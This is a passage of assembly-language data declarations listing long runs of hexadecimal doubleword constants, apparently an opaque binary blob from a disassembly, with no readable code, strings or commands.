7F8C28E3h, 0AD878B1h, 269A6DACh, 0D7A00091h dd 171F64B7h, 0FE2FF607h, 0BEA08BC6h, 29F20Eh, 0CB5FA946h dd 3EAF6627h, 6DB3C700h, 0E51CAE63h, 8EE2572h, 0C3B760D0h dd 5CE0E66Dh, 1C0EB42Dh, 6B80F314h, 24C20934h, 0DDBDD40Fh dd 0E1D8021Ah, 120C40F5h, 0B04000F6h, 81318A19h, 0A8DC01DDh dd 0EE5FC400h, 25854CEh, 0D995F99Dh, 0D4C10AA4h, 4A3881F3h dd 51FFF7A6h, 30277997h, 49710DF0h, 12919A03h, 0C4B7D351h dd 0D8C0BBC0h, 9A6B500Bh, 0B9EA02FEh, 0E164158Ch, 0E6559B60h dd 0F9829100h, 39A3E358h, 15190E2h, 25AC48DAh, 64C7103Fh dd 2D073E18h, 0B62C3B6h, 2488AB21h, 0BCA470h, 0A4A042AAh dd 0D6ACA218h, 8D2B3Dh, 0A5E33F57h, 0AC82F48h, 2DBFCA39h dd 0DDCF00BDh, 0ABA6096Fh, 611C230Bh, 0E915009Fh, 3C5E5338h dd 5008045h, 739D3F64h, 210324C1h, 359A1658h, 0B10CF013h dd 81D53D3Ah, 0DDB82F82h, 0AC7064E4h, 83270339h, 76B5BC2h dd 666A8857h, 2FE490CBh, 0C4C17785h, 2EC784Ah, 526E62DAh dd 9E45E36h, 3580BFB9h, 0D6B78886h, 2C14C700h, 0CF5F9D4Bh dd 0ECF0002Eh, 0A37F9EF6h, 9C2621FCh, 9B052CF2h, 4C0D7EBh dd 8E457Dh, 8D7868E0h, 4FB2C6C1h, 0A0D16250h, 3876AD58h dd 931880E7h, 0FE16242Bh, 66DD027Ah, 105ABA21h, 0ED987C40h dd 9E31C43Bh, 8880E504h, 0A2E68A50h, 9A4D2544h, 0B6965800h dd 2300D762h, 8C5DF266h, 3F85A922h, 0AE81CF6Fh, 78ECF9C7h dd 60812BE6h, 5BC8F805h, 3B93EEEFh, 0E2005DC1h, 73B5D2EDh dd 3A003D61h, 5C7153Fh, 2563709h, 0CBAC9448h, 8474E01Ch dd 88E27h, 1BA17D24h, 0A780A3F6h, 26B558C1h, 50648EF9h dd 6DB8008Bh, 0C24EE821h, 3B7E59E6h, 1D485701h, 0D25631EBh dd 1F900460h, 0C0259FA9h, 7EFCEC93h, 0D0739E6Eh, 0F214C771h dd 5A4FA3Dh, 8BAF78A7h, 1D668906h, 0C88508E0h, 758056FCh dd 5FCB9587h, 0F0E3005Ah, 5E72AACDh, 43004642h, 0D00A2D11h dd 763784h, 17C6A798h, 6D3B5BE5h, 0D8BF6F30h, 38EE73Dh dd 11ECB3CFh, 0E009F56Ch, 12C83B6Bh, 6C5EB8h, 1854F32h dd 3076D62h, 5CB0CC69h, 0D09A4C23h, 0E72929Bh, 710E7D5Bh dd 4DB836A3h, 3598E293h, 0A00EAA97h, 8459F625h, 1EBFC5Ah dd 74FA624h, 3CB5E0E0h, 84CF4600h, 115FB7AAh, 1CAEFE5Dh dd 0C61AC165h, 0EC7C07FFh, 56ECA9BFh, 44274FA8h, 0B42B127h dd 5874CACAh, 46E14D0Bh, 0DD890110h, 94143EA8h, 3DA7D88Ch dd 259CC800h, 47997B76h, 13FC7838h, 0F4306E86h, 0C1283F94h dd 0CD05F0FEh, 5BDFE477h, 0A4820800h, 175C134Fh, 0E0749162h dd 0FF003194h, 0C8A7C40Bh, 3B2B0Dh, 0BD36D99Ah, 303425F5h dd 0B4452800h, 0F2E71E23h, 0BCCD00A4h, 8D3D54D6h, 0FEE6FF57h dd 1DB68516h, 0CCB0FC12h, 0FA970158h, 0F0219070h, 0E4E6C59Ch dd 8100545Bh, 681F3146h, 0DF1DC8h, 5094B248h, 4F7EA74Bh dd 0A65C4E7Fh, 4E6048E5h, 6A89B060h, 72D0E67h, 7FE365DFh dd 0F7D0AA85h, 0E1F66BBh, 0B881BCC3h, 5162E052h, 7B4FD5h dd 20C56CC8h, 0EB5B5706h, 0F78F5800h, 0B7FF3360h, 5A3BE480h dd 5B252E44h, 0E45025h, 9E32A299h, 54FFFA02h, 8FD1F100h dd 0E8D43EC5h, 0A9C30224h, 0F6E6D8D6h, 0BB247Ch, 29A64050h dd 0E6258F0h, 0E0B8EFF3h, 0AFEC6EE0h, 2F0023B7h, 9F42E32Ch dd 70200Bh, 983B33DCh, 26A9D118h, 0BC368E00h, 0EEB5E4ECh dd 0DCAA4C3Eh, 0D8DD7601h, 0C852BB60h, 8E0033F9h, 0C52FEBDFh dd 0C034583Dh, 7EFD6310h, 7D059507h, 0EF7F0990h, 60A84892h dd 97D780h, 0D38CD4F1h, 0E944B953h, 38773100h, 520B47E1h dd 0BEFC00AFh, 1C337ECDh, 1E00B72Bh, 7382D6ADh, 98D7E55Fh dd 49C2000Ch, 0B581A117h, 580384D4h, 0EFAB3388h, 0F47808E4h dd 4409AF34h, 706087CDh, 549F63B1h, 14328030h, 9C56F6EDh dd 0ADF5CD80h, 0DD4D605Bh, 0FD500450h, 14E8361Dh, 0DC53B20Bh dd 0D2EE0801h, 0F871ECB6h, 0BC866113h, 27E4ED0Bh, 0EC90E084h dd 23AE91h, 30247841h, 0A034748Ch, 1228580Ch, 0FE40A71h dd 0C50433CFh, 0AC8721C4h, 94C900B0h, 233EB8DFh, 48099DC2h dd 0E0973E58h, 0C54F0FB0h, 0A9D014CEh, 2EC2033Ch, 0FB31A31Ah dd 1E4C88C1h, 5FF4019Ch, 13395705h, 0C719C4E6h, 4A213700h dd 0B72E9A46h, 5C73007Fh, 0AE844EEBh, 0D000B143h, 588327C8h dd 51F2BA42h, 57D0BC5Bh, 65642836h, 76039F0h, 0A273B401h dd 0D07D7F82h, 7A05FF62h, 841A8059h, 98D05481h, 2ABEF0h dd 5671D905h, 0E1D5F90Bh, 84797704h, 44AAF4AFh, 7AD31A8h dd 61318A13h, 802B7036h, 0BEB4E1ECh, 3C0044ECh, 17C0CC4Fh dd 16F64D9Ch, 0A185CEh, 9F521488h, 79125DB7h, 0B0F84312h dd 6081EB3Ah, 26A4F820h, 7668F096h, 0AE0D3276h, 0B8759AE9h dd 11179063h, 80C01CA1h, 75A42D06h, 0A548FEAEh, 0ABB6037Ch dd 2B433FCh, 14FA8911h, 5D206C50h, 295CED2h, 0F4306028h dd 0D082BDC8h, 0F7C0EEE7h, 0DE3BFD1Eh, 0D38E28E6h, 587A1F0Bh dd 50DC8783h, 0AD0CFC69h, 4B23E0C8h, 0BF3AF100h, 0E56FFB96h dd 0BBC502C1h, 9589E697h, 0E0152041h, 0A500F963h, 0C881064Ah dd 7A043493h, 0CE70C01h, 6E288AA1h, 60BEDD00h, 84A7F436h dd 5810007Ah, 3B352566h, 8987B08h, 0D073E00h, 0CCEDA948h dd 28F4A083h, 1F1AE44Fh, 8044B56Dh, 74789D3Ah, 6AEAC7BDh dd 0A741B100h, 64F7D08Ah, 32FC00ACh, 59E30E52h, 2E58EF39h dd 0AEF100EEh, 0DAF9C6E5h, 31877858h, 0F4F035D7h, 0B4802B4Ch dd 0EE500E72h, 0D87F1618h, 328209Bh, 0B600BBE2h, 4F89ADD2h dd 341B2105h, 0AEDC259Bh, 2003012h, 904BC64Dh, 8830E9ADh dd 6F6E1220h, 0C0CC0087h, 0FF1797BAh, 9400805Ah, 8F4ECAE1h dd 235ECE0h, 0AD2A8119h, 0F44B9E51h, 0FA0696C0h, 0F4809701h dd 9BEF7753h, 4FC8C64h, 81074DA4h, 0DEF8E0D4h, 0D5AD1012h dd 6765540Eh, 0C02096DCh, 12DAFF30h, 0CCCD3D37h, 0A400C2F8h dd 0BBF51F68h, 0ECD0C892h, 0A3520004h, 0A89D57B7h, 63011566h dd 7793F58Ch, 0DAF0FB3Ch, 391A3BE3h, 0D07526h, 3EE097EFh dd 0AD284E7Eh, 8700D890h dd 9B0B4DF4h, 1FEBA612h, 0C23DA4BBh, 154BFCA3h, 3F4290D0h dd 2651131Eh, 0B30C00B4h, 0F08C5296h, 88B9CC37h, 0A0C9D173h dd 3686EC5h, 0B6AEA50Ch, 21009C45h, 0BED542ACh, 1CE650Dh dd 6824A6C1h, 206CBA55h, 9E20B76Ch, 17777137h, 209CEBB3h dd 8ED31F78h, 0CA9DB21Eh, 98829453h, 97185063h, 69A030C3h dd 3F00A5FCh, 23CD806h, 9A4973h, 0EE123ECDh, 0BCD4D2F3h dd 0FA03C37Fh, 4F560F53h, 6D00197h, 2EB2943Bh, 13D02095h dd 0C53F5D0Ch, 3CF311F5h, 812C660h, 0A7B0A04Ah, 65E3B616h dd 52F01C02h, 0FAF704AEh, 0BC6BF820h, 70F7067h, 85D3421h dd 0A9F471BFh, 0A2988072h, 82147CC5h, 281B70CEh, 0F094B17Dh dd 6E81E641h, 0C88011FBh, 0EF192CA2h, 0C3CED800h, 0A81366C7h dd 2FEE17F0h, 4D720169h, 3C04580Dh, 0EA750784h, 60990FE2h dd 42DC834h, 27CAD109h, 751AC303h, 4ADA06B8h, 0AFFD39h dd 0A6327A89h, 71AAE3h, 8F636A52h, 0B10185A3h, 0ABC62C00h dd 444BF384h, 92E9255Bh, 0F4A3D8C0h, 1C87A240h, 7CED4614h dd 0C0DF8B18h, 957FBE34h, 1EC0D130h, 7FFA0F1h, 0CC88E550h dd 824F70B3h, 31D9343h, 0F3C00208h, 0BDD68BD7h, 20EF0009h dd 292A6D45h, 0E100D9EBh, 0EAA7DF5Ah, 9689CFCh, 0D01904CFh dd 28029852h, 0E4F6C47h, 0B47055h, 2997A472h, 3F20806h dd 0DAE22000h, 4837C55Eh, 0C0164F59h, 0CD78359Ch, 4EDC9700h dd 30FAF429h, 25E2FE1Bh, 0BC728B2Fh, 0B2924600h, 0DA5BB54Bh dd 0C705E6F4h, 0D52C4018h, 2FDC0519h, 4818028Ah, 0D4D0B295h dd 0A5B13103h, 0A0D127E3h, 0D88BDh, 43E1092Eh, 0E6532B9Eh dd 0D9006E98h, 7DF5F4Dh, 240FBE3Ch, 0C42564h, 0B8A5A927h dd 30A0A8B2h, 4A20B910h, 0C055F0C9h, 409B2798h, 2203A609h dd 1B92343Fh, 8C2FD141h, 47B6452h, 7421EBADh, 47004FD4h dd 841EBF7Fh, 0A2409E39h, 5D74A409h, 318909BDh, 0FC5CC2BCh dd 2969848Fh, 0D6810061h, 0A018BBA0h, 31603CEh, 0C70E21BDh dd 0B5C8E899h, 0FF87193h, 5C62D00h, 6C60B1BBh, 0CBF100FBh dd 77DDA3A7h, 7400B001h, 0A6EE4F64h, 0C5719Dh, 0D01C2AA1h dd 0AD6C0399h, 0A89F8F2Ah, 55835200h, 0BEA317D7h, 0EEFAD3h dd 0C407D416h, 864CE3BCh, 251A0B00h, 2C7A4894h, 0F538C0FDh dd 8B284604h, 4064F42Fh, 92336188h, 0C8E00EE0h, 3A80F1C3h dd 343EB291h, 0B93CF800h, 0B8BAF269h, 4681C5AAh, 0C0BC5ECBh dd 0BF5D70ADh, 0D701E059h, 0E3ED2F26h, 78FCF730h, 314530D3h dd 0D43A1761h, 11384130h, 0C7C2F18h, 0BE9905D3h, 61C0AC4Ah dd 7B488F25h, 79CE0AF7h, 13847F1h, 6CC0185Dh, 49B8CC64h dd 0BF4F2400h, 0B16856EAh, 0F470478h, 91E2B65Eh, 51D57558h dd 0F8EAABFCh, 0B93D386Ah, 3F8B80A5h, 8A0A84FDh, 48C20056h dd 0FFCB4F23h, 0D9633332h, 0B17571h, 0FD859B41h, 0DF73344Dh dd 0C442F200h, 796DC095h, 41765B5Eh, 73F4D7Ch, 6E78F8F1h dd 44E48100h, 0A112EB6Ah, 602B1694h, 6CAC08h, 31B03D75h dd 0F58A6Ch, 0CC1CCAC3h, 57078927h, 5E8F5001h, 628E39BDh dd 9DC10883h, 93F89A0Fh, 0D0E1CD09h, 6E02C61Ah, 0B3CB1589h dd 0FD746192h, 0B1F0DDF1h, 0BC163E7Fh, 911D7E3Ch, 101918CFh dd 7400088Fh, 8D15526Eh, 0C34416h, 26869E24h, 0E18801D9h dd 93B19900h, 7FAFBE0Fh, 79A7C09h, 0FDCA0DD8h, 6E7A878Fh dd 8E0C3098h, 9018CF67h, 8AA29940h, 9C8011Ah, 3C7163Dh dd 1E64493Ch, 87E0BB04h, 10CFA895h, 86698584h, 420CC8h dd 0E5B6EAF5h, 0DD928DF9h, 213B09CCh, 0EAED00A2h, 768F14A3h dd 4600E697h, 0C7056FDCh, 30AD8EC3h, 99692AA5h, 0F3011FB7h dd 0B93EAAB0h, 898D2B8h, 9F782120h, 14741F07h, 2A806AEFh dd 435AAEh, 0A63BD7F4h, 0AD05AF2Ch, 0B4F8B9C3h, 9572807Dh dd 4D760079h, 0AD91F38Bh, 86F592DDh, 0CC3A73A9h, 0AC90C861h dd 0F41FB8C0h, 22A246B0h, 0A06B001Dh, 5B30D01Fh, 500FCAD4h dd 0C7EDF94h, 1839E06Ch, 91D7DE6Dh, 8F30F4CEh, 0E8EBA843h dd 8780036Ch, 2F369568h, 585CBDA9h, 0EA0EF2ACh, 0F021E5BBh dd 0A98335C8h, 0DB0AEAF6h, 889AE87Dh, 43FC1842h, 0E8E96069h dd 639D220h, 0AA13A23h, 0DD7D89B9h, 42765100h, 3E5E72D5h dd 0B108CC6Dh, 5A3AFC21h, 58F58051h, 7993F328h, 0A35618F2h dd 5BAFF92Fh, 0F0BE3C05h, 0A432940Ch, 187919CBh, 101F71BBh dd 0C8490AB1h, 0A36C8F1Eh, 3D3BF1E0h, 890A1DD3h, 0A8B49413h dd 37408800h, 603073B0h, 26353138h, 0B40D07E8h, 0B9BE688Ah dd 809FE891h, 42745160h, 0B6448C65h, 51683BFEh, 5D4C2680h dd 0EBB03AEEh, 78AF1430h, 0C029A282h, 0EF3C3471h, 5C001566h dd 0AC8B0332h, 4FCBA79h, 5123BF9Dh, 8949373h, 92604A78h dd 78756E11h, 0B1E70360h, 0A90F2DD9h, 21650830h, 7678ADCFh dd 31A574E6h, 56198F41h, 0EBF4505Ch, 1A003746h, 4E22C711h dd 183697D8h, 0A8B00844h, 773046F3h, 6EC32018h, 36BC0484h dd 88E7D8E4h, 74449C48h, 94655002h, 36B8129Dh, 3C100197h dd 204DE3F4h, 8E068F1Ch, 5D0ED1AEh, 9C90C3D1h, 20644B03h dd 7760ECE0h, 0E723D278h, 0D1C43D81h, 3578AF00h, 0B4F38333h dd 96560CC2h, 4D216850h, 28009877h, 1B30F1F7h, 552F7202h dd 67F5BC24h, 71952980h, 0BE4CB549h, 0C92FD002h, 41A29722h dd 3820E5CCh, 1FE48C7Bh, 1AB11D11h, 6E871C88h, 6B201FA5h dd 9144729Ah, 49E89C2Ch, 9C1F88C6h, 9180B511h, 2CABE3C0h dd 0C1F41E07h, 67C0A217h, 0DF2B7EB9h, 0DAF80958h, 18ED1819h dd 61780A7Ah, 70A8A9E7h, 2890B2CEh, 0A5D35F01h, 3A72595Bh dd 4448CC22h, 1EC1B410h, 84FF095Fh, 0C98836E5h, 4BCF0081h dd 8C5E3430h, 0ADEB2004h, 416211E5h, 0EAF4AB20h, 0DCB43C66h dd 97E4C900h, 0BC6B2AD4h, 1D3E80A0h, 2F0FD01Eh, 0E8EA3241h dd 0E9812E56h, 0E6B8E9DAh, 44108228h, 683AD3F4h, 60A2B2D4h dd 57CB931h, 5901C5EEh, 0B0E8652Fh, 0C0423E92h, 51D730A4h dd 0BD428312h, 9007E838h, 69F300F8h, 45CCAC03h, 183FE7D9h dd 0F880E0FBh, 626E9CFh, 0DC5DD8F3h, 460939C7h, 0A1702B9Ch dd 0C4159D9Ch, 93F22822h, 3BD32130h, 330AEA38h, 4A25A79h dd 0D0082012h, 1326BD54h, 0A4BAEC2Ch, 7770C4A3h, 6B09003Ch dd 102E6422h, 8A064A89h, 0DCDF6D69h, 0B1B024D1h, 0AC874718h dd 3200BC41h, 490B20B6h, 0BB47FCh, 7514DB9Ch, 0BC3D7313h dd 0E1079E02h, 418DB9E4h, 8318F84Ch, 0E7D67808h, 6F1CFE1h dd 64787BD5h, 4C34588h, 879047A8h, 0E4CE3FC6h, 0D19166ACh dd 0EFFA1000h, 95AF70D5h, 669BF456h, 808558E9h, 8102EA46h dd 91E7D478h, 0D3137931h, 5E0C78A8h, 293D700h, 0A9DA5749h dd 0ABDE305Dh, 6D5BED91h, 9481DD68h, 0AC9E8807h, 7AB8811Eh dd 0B2E061F3h, 0A4D909EBh, 5010A583h, 0A600F41Ah, 710C1D7Eh dd 6AF61C9h, 1226CE73h, 5305170h, 42C159C6h, 0A518247Ch dd 903247Ah, 0BC04DE61h, 0EAF3605Bh, 0E9E510B8h, 803AC88Dh dd 0C4EAEB9Ch, 0BE244199h, 2511F42Eh, 6BE6260Dh, 40F04129h dd 5F50015Eh, 82328850h, 1F73BFBh, 0A5091Eh, 7874E8E4h dd 0C3BBA5Fh, 720489ECh, 9E74A48Ah, 75516160h, 116D4223h dd 69FD00B8h, 16222C51h, 0BD541399h, 23643AE9h, 18340263h dd 8E60277Dh, 0A209453Fh, 8FC4F843h, 78B88D60h, 0CEC27047h dd 44F0C73Ah, 3D9660B2h dd 0BD06002Fh, 0C142C4B5h, 1318B05Bh, 0A268D9F8h, 0A3F412CAh dd 0E7580167h, 45B3FBE8h, 5EFB838Ch, 5CB153h, 0D122290Ah dd 2348CC1h, 9D2BAF28h, 0F09784B6h, 0A2804191h, 6ACFC89Bh dd 19CDC600h, 271D4F1Fh, 2E1086E7h, 0D80D735Ch, 20197187h dd 9C0040B9h, 4E48107Eh, 0AB1BB9Bh, 0C20DE766h, 90EB11C8h dd 0A9D33FFEh, 0D0C0C879h, 488D78ACh, 9502550Bh, 2F0EF0E7h dd 0D9379C60h, 0F3F90CC0h, 1340150Ch, 0CDDAF1Ch, 5E417254h dd 1D487309h, 7800498Fh, 1F08BC18h, 0CF02B120h, 0A46F1D51h dd 0D7406E9Dh, 0AED92E5Ah, 0A29F00E7h, 69F47C26h, 1A2480B6h dd 0B18CD86Ah, 48AE7990h, 8715E07Dh, 0A1008C72h, 0E94B6050h dd 2B010CFBh, 7C5A2993h, 40E6B772h, 0BD92DF4h, 1B5F19C1h dd 5D974C10h, 0D440E789h, 283245C6h, 63BC7798h, 30A27869h dd 0C293B10Fh, 61914122h, 6DEC0499h, 5B1D034Dh, 0D895E7BCh dd 2D426809h, 85F4B772h, 0C3EC25E9h, 0D90FF38h, 0B0256E66h dd 831020A6h, 7A49654h, 4605AA13h, 90AF3494h, 0EA435A7Ch dd 4D1F6403h, 0C0481ED7h, 7AA1670Dh, 0D100B936h, 101836h dd 25B8F733h, 1B71B763h, 90487226h, 0C95DD943h, 5AD12685h dd 0E6E1DAF9h, 0E404B062h, 13FC39Ch, 8932F18Fh, 91A01074h dd 61FCD354h, 49D0AF36h, 26E7F474h, 8180CC5Eh, 0D98E91D8h dd 882C4B8Dh, 0A008C07Bh, 20071C7Ah, 327D79C5h, 0A4428270h dd 0C04C60C7h, 0D86C236Dh, 1B20EB09h, 64144798h, 0C32D60B6h dd 9B561DCCh, 896BD806h, 3203E638h, 0DE1A027Fh, 0F99EB066h dd 0D0982048h, 346B9720h, 41E8E10Fh, 0EB6D29C0h, 0D6428D1h dd 5194AAB0h, 61DA6820h, 692DA884h, 0A67061A0h, 0D30B6008h dd 0EA6422B6h, 0F574235Dh, 0A282BFC0h, 0E700E0B1h, 0FEA0A349h dd 16C4054Dh, 8C7DC58Bh, 0E8302698h, 1A82415Fh, 0B8AC8027h dd 6EA0418Ah, 5D56DE10h, 81237700h, 7A406BCh, 0E23D00F8h dd 2BFCBB25h, 0B062485Ah, 0C487A988h, 683600B0h, 4146A857h dd 6102DC55h, 70A364DDh, 414CA44h, 0D360A0C4h, 42257751h dd 0FD8165Dh, 0BA515BFBh, 34440A61h, 2FF82DA6h, 0D9D4A8h dd 2B7D0163h, 0ECE0ACE3h, 0C774B80Bh, 0D42002B7h, 0A2F204B9h dd 14590164h, 6609E4F8h, 5069A5F0h, 0CF90AEh, 88AD03E9h dd 8D8F4C57h, 0D8E0A262h, 44C847DEh, 7251606Eh, 9008B942h dd 3E73860Eh, 1036F9E1h, 6EE8504Ch, 50CE688Ch, 87ED9034h dd 76045EE5h, 2C81BC84h, 0B045B955h, 0AA88DCCEh, 0B071BEC7h dd 5C38A8FBh, 0C1E28214h, 84CC712Ch, 0D0957AC0h, 0DC98031Ch dd 5D409366h, 2D101098h, 2F5505C5h, 0E803F7F4h, 6C872Ch dd 40F92BB1h, 25B5E4FAh, 45385C00h, 7F59519Ch, 0F5B229DEh dd 6E7B83E4h, 0B0F88952h, 427C453h, 3D7C1709h, 266A0046h dd 0E291C0D7h, 0FC420DC8h, 30985E37h, 7CE87E70h, 4526A0A0h dd 0B91B2702h, 0A7D9491Ah, 15C2AD8Ch, 4A1858DFh, 4CAC4005h dd 0BD521EFAh, 7EB51201h, 0DF5DA9FFh, 0A6186C22h, 0B2D4C91Ah dd 1346D307h, 0F1601609h, 0BAA36Bh, 0C26FE8B6h, 0ED791928h dd 2001B8B0h, 0B229DE05h, 418023A5h, 83F5E88h, 6901613Ch dd 83BAD69Fh, 0E039511Ah, 86CA4700h, 0DA7F3E02h, 7C41010Bh dd 0E400452Dh, 13426095h, 0ACF400EAh, 5468CC6h, 192E8FDAh dd 0B089447Fh, 6D6C90A7h, 8BE494F1h, 6490511Eh, 2D03FC4Fh dd 9D18D38Bh, 0D3D80FBh, 9E143F97h, 9992117h, 3461734Dh dd 0F5747191h, 7E90332Dh, 2642A89Ch, 908C64EBh, 520C694h dd 743B79A9h, 1F48F35h, 0CB2C008Ah, 0E93C0Eh, 0DA0CF88Bh dd 72E136BBh, 94B8CE4Dh, 0B20861FCh, 88F06A1Dh, 5E530040h dd 7FA3274Dh, 0D912F577h, 58C77AA4h, 0AFB480C9h, 94412D7Dh dd 60A3E4DCh, 238051D4h, 0B311C542h, 515CFA00h, 597B133Dh dd 36074A1Fh, 21B0E4CDh, 0A448B8D1h, 0F96D6087h, 0B498C574h dd 7312AC00h, 0BEFC13E2h, 0BD1FA54h, 6E628D1Dh, 1DE4E465h dd 0E9D97D60h, 0C433202Eh, 212480A0h, 4D60C47Ch, 1DC5F306h dd 0D93D401Ch, 0C6D9482Ah, 8AF20863h, 0BFC4401h, 0F2E0E9F2h dd 73C69C47h, 0D4DB03C1h, 258FC135h, 1D02CB90h, 0F87A480Bh dd 0A57409EAh, 0F4611460h, 84506650h, 73CA3FEEh, 0F06B29E9h dd 0AEC24E0h, 809CC805h, 36230C73h, 9E012729h, 5DD7E8ACh dd 0C422A54Dh, 93A10074h, 0BB67099Bh, 9E98A01Dh, 6DC29200h dd 0F53A0447h, 820C92BFh, 708CDBF4h, 347D16F0h, 5E131117h dd 0AC46C030h, 494740FBh, 0E4426409h, 0A43C807Bh, 98B7845Bh dd 6CA6B8h, 2BEC57Ah, 621AA16h, 0B242E40Eh, 3859A725h dd 0D9738610h, 0D1B8B1D1h, 5AB18B7h, 0B98F83ECh, 3EA0D19Eh dd 17E061B5h, 0AEB051C0h, 6DC85127h, 0C66440E9h, 4341EBA4h dd 0E6213C62h, 0C50543h, 7E76D731h, 0EFB0EB3Bh, 2C9EAC90h dd 9014CE03h, 49484E65h, 0B4906D38h, 2CF59662h, 25A8728h dd 0A547ACC0h, 843000B7h, 67B3661h, 9E0A63C1h, 0C4272F73h dd 4483F4A8h, 0F891A174h, 0E898F214h, 9A008CB1h, 5D447616h dd 0EA37E4B5h, 4BFC2546h, 21BF0400h, 0A4A229CFh, 73090853h dd 26A41043h, 2194AC12h, 1080AEDAh, 1869D3E3h, 7C830ECBh dd 0C0D61442h, 6E63AFF8h, 0A4E39017h, 5A5FC882h, 0F8521090h dd 0C802057Ah, 0E8407321h, 9FEC371Fh, 0DF88C213h, 50F06B7Eh dd 67033903h, 0C9EBF9CCh, 6430A376h, 0A54F09C0h, 4383AD1h dd 9E4B2818h, 0B2CAC800h, 5A5AC2Eh, 9D2CA1AAh, 4A38D02Dh dd 0E7EEA238h, 0AD4084BCh, 3AB9D94Eh, 1009573h, 5022C05Fh dd 83009BBCh, 56A132E0h, 0EA7F0C9h, 4E7A6AE7h, 0C1057420h dd 0E41D441Dh, 0DF1D07E8h, 5EDEA7h, 0E16A8B89h, 7DF06401h dd 0FB2CF3Eh, 0E0A481B9h, 0A0D82D37h, 4E26007Ah, 0F803666Ch dd 9500DB94h, 4FEB412Ch, 0CFAE1Dh, 72F41CE9h, 0D7ACD91Eh dd 0BA2B1101h, 0CE681436h, 0A004C425h, 9120CC00h, 0BADF60E3h dd 3D1D2E88h, 2ACA0BD9h, 3B9384AAh, 13A31B0Ah, 0A2841220h dd 0C1E8E724h, 21C2D2DAh, 6D506473h, 0C220E24Ch, 480FFCh dd 0BA1DFD1Fh, 7FFB8800h, 0CD278B95h, 0E99109D8h, 44242022h dd 0D8FCA5F7h, 0AB5FACBBh, 0EB6D7844h, 0BC95B488h, 805F9148h dd 0E5BCEB1Fh, 3B448C09h, 0EAF700A8h, 500C4D03h, 54A0DE5Eh dd 1720FCBEh, 0FD4F1372h, 0AFA408BBh, 0F11FB9C0h, 22BA46B0h dd 0A16A0094h, 6C22AE1Fh, 0E707D358h, 29E23BD0h, 4087DDA0h dd 0FC785004h, 6D0E0080h, 0B87D7253h, 0ADFDAFACh, 915C1778h dd 405C8E77h, 0DDBF43C7h, 8024B604h, 0B5180902h, 47064CAFh dd 6D50380Dh, 5F930039h, 0C79DE49Fh, 48019CA2h, 25A5E6C9h dd 582896DEh, 28C76E8h, 4CA06617h, 30711036h, 0B922F544h dd 44BAC018h, 112A2622h, 3496D46Fh, 6962D473h, 3B0050F1h dd 0C9E91E4Dh, 0CF9E0019h, 299C7D93h, 400F1466h, 85ADA88Bh dd 0B712F2D6h, 658798D1h, 0CCE84180h, 8D07C54Fh, 0AA71F227h dd 681188E4h, 0B70E7894h, 0CAF601E5h, 0F19D3FBCh, 6FA4B601h dd 0A9040324h, 0F89EC853h, 0F5B33Ah, 0E2E1F3FBh, 3EEC93D7h dd 131C7500h, 0ED3292BAh, 60A234ACh, 0AD58F0A1h, 0E8618E45h dd 0B82EEC66h, 0C8D912F4h, 6B004E54h, 58919054h, 42D7F9h dd 1C592CCEh, 3AC2DB37h, 22A522h, 0C9CC536h, 9F1BF1F3h dd 0E4AFD409h, 0A052A2h, 0CD2C9B05h, 11CA38B2h, 0C735DB02h dd 0E2BCE40Fh, 5E785634h dd 0C6009346h, 17AAF5BCh, 732EA62Ch, 74BEC39h, 2AA4E8E8h dd 0A448A509h, 0C903FA7Fh, 7A7036A4h, 4CE6EC1Ah, 6EB80048h dd 55293C8Ch, 24B7E924h, 0FCCE4000h, 67803B2Bh, 0D7DB7721h dd 0B654D588h, 0F42EE020h, 7F1B0F69h, 55402A74h, 34FBB08Ch dd 6059C540h, 8A363843h, 0A09513EFh, 0AC8862CCh, 0A1D6279Ch dd 5539A4A2h, 104F5C5Ch, 0D6C0A5C8h, 5C428251h, 8E0A4B5h dd 0F401515Fh, 64836B81h, 0E875D02Ah, 1DBCBC68h, 36240B8Ch dd 64457C97h, 3B60B7E4h, 0BF168F77h, 34807AF1h, 9C53F446h dd 45012C0h, 845B88D0h, 98C13E0h, 7CC2D8D4h, 463D409Dh dd 15BE8300h, 0B3F4C358h, 0A8683860h, 619056E5h, 20C25875h dd 0B8443D69h, 50A42611h, 0BC7E4070h, 0AE0087C5h, 0AF407B5Fh dd 16768DDh, 0B11A6254h, 83C7D0FBh, 3C377D30h, 0F327A04Ch dd 0FCF1486Dh, 0B8E7887Ch, 0DC25BE2Ch, 42F496A5h, 0C12274h dd 0C7E1A02Fh, 0FCF7D52Bh, 8C3B5502h, 2284672h, 846450BDh dd 2E1F1900h, 96AA7B94h, 4B3800A1h, 0ADDECFBFh, 64BE50EBh dd 9B17B383h, 10DAF863h, 0DFD0026Ch, 7E2E051Bh, 8202C155h dd 0C5877478h, 0CE66701Fh, 47F6D47h, 4F20B404h, 0E0D4AF7Bh dd 94247097h, 0B054DE22h, 0B48028E8h, 0B3944DBCh, 4F190F1Ah dd 0A60A5E08h, 61D30068h, 0F99F8253h, 8DAAD100h, 2395F529h dd 4ADFE084h, 0DED490B1h, 602846E4h, 0A248F8BEh, 0D9E51814h dd 53011A0h, 0AAACB2AFh, 0E44C0466h, 0D91D41BBh, 59CE69E7h dd 67D47BB4h, 7D28E270h, 0C8515892h, 6442C180h, 500EB01h dd 0DFC99E83h, 7D604DF6h, 0F7FC2DE6h, 0BC0B6409h, 18C3649Ah dd 788060F4h, 0D9E72CD7h, 0FFD471D4h, 43A4888h, 0AE30A709h dd 5A2C4019h, 1F37121Bh, 0B044A687h, 0E1749A7Ch, 12AA70F4h dd 0C35A18Ch, 87796CC3h, 44316460h, 665DFFh, 8637C307h dd 9B62A2C4h, 0B291FCBEh, 0F61FB680h, 0A8ACD2B0h, 799244h dd 0ADA61F9Eh, 0CFE4B6EDh, 0E6126EECh, 0EC40BFACh, 6246F09Ah dd 0C71102DEh, 0E3D04390h, 61B2B841h, 0D93044A4h, 0A60893A8h dd 4F737020h, 0A0B2E28Bh, 0D933C5h, 219D6D16h, 156B704Bh dd 0DC89AF3Fh, 71D98950h, 0A214A808h, 581C5A74h, 0A780BCA6h dd 0A57E3D07h, 4E6CF107h, 1961FF1Ch, 0A004C437h, 56003DB4h dd 2D407C10h, 0BE3E7372h, 250F4098h, 0B2642B6h, 13042496h dd 4502C430h, 6C48CC2Ah, 4860E7CDh, 0A4956251h, 2FDF0913h dd 2C519445h, 0CB183579h, 9FFE5602h, 87A304BEh, 2502248h dd 5181B33h, 0AEB12670h, 0F230A25Dh, 0DA7C30B1h, 437A341Ch dd 9A760EC0h, 5BEFA442h, 68C80441h, 2F560FBBh, 8901252h dd 24443A81h, 138CF31Ah, 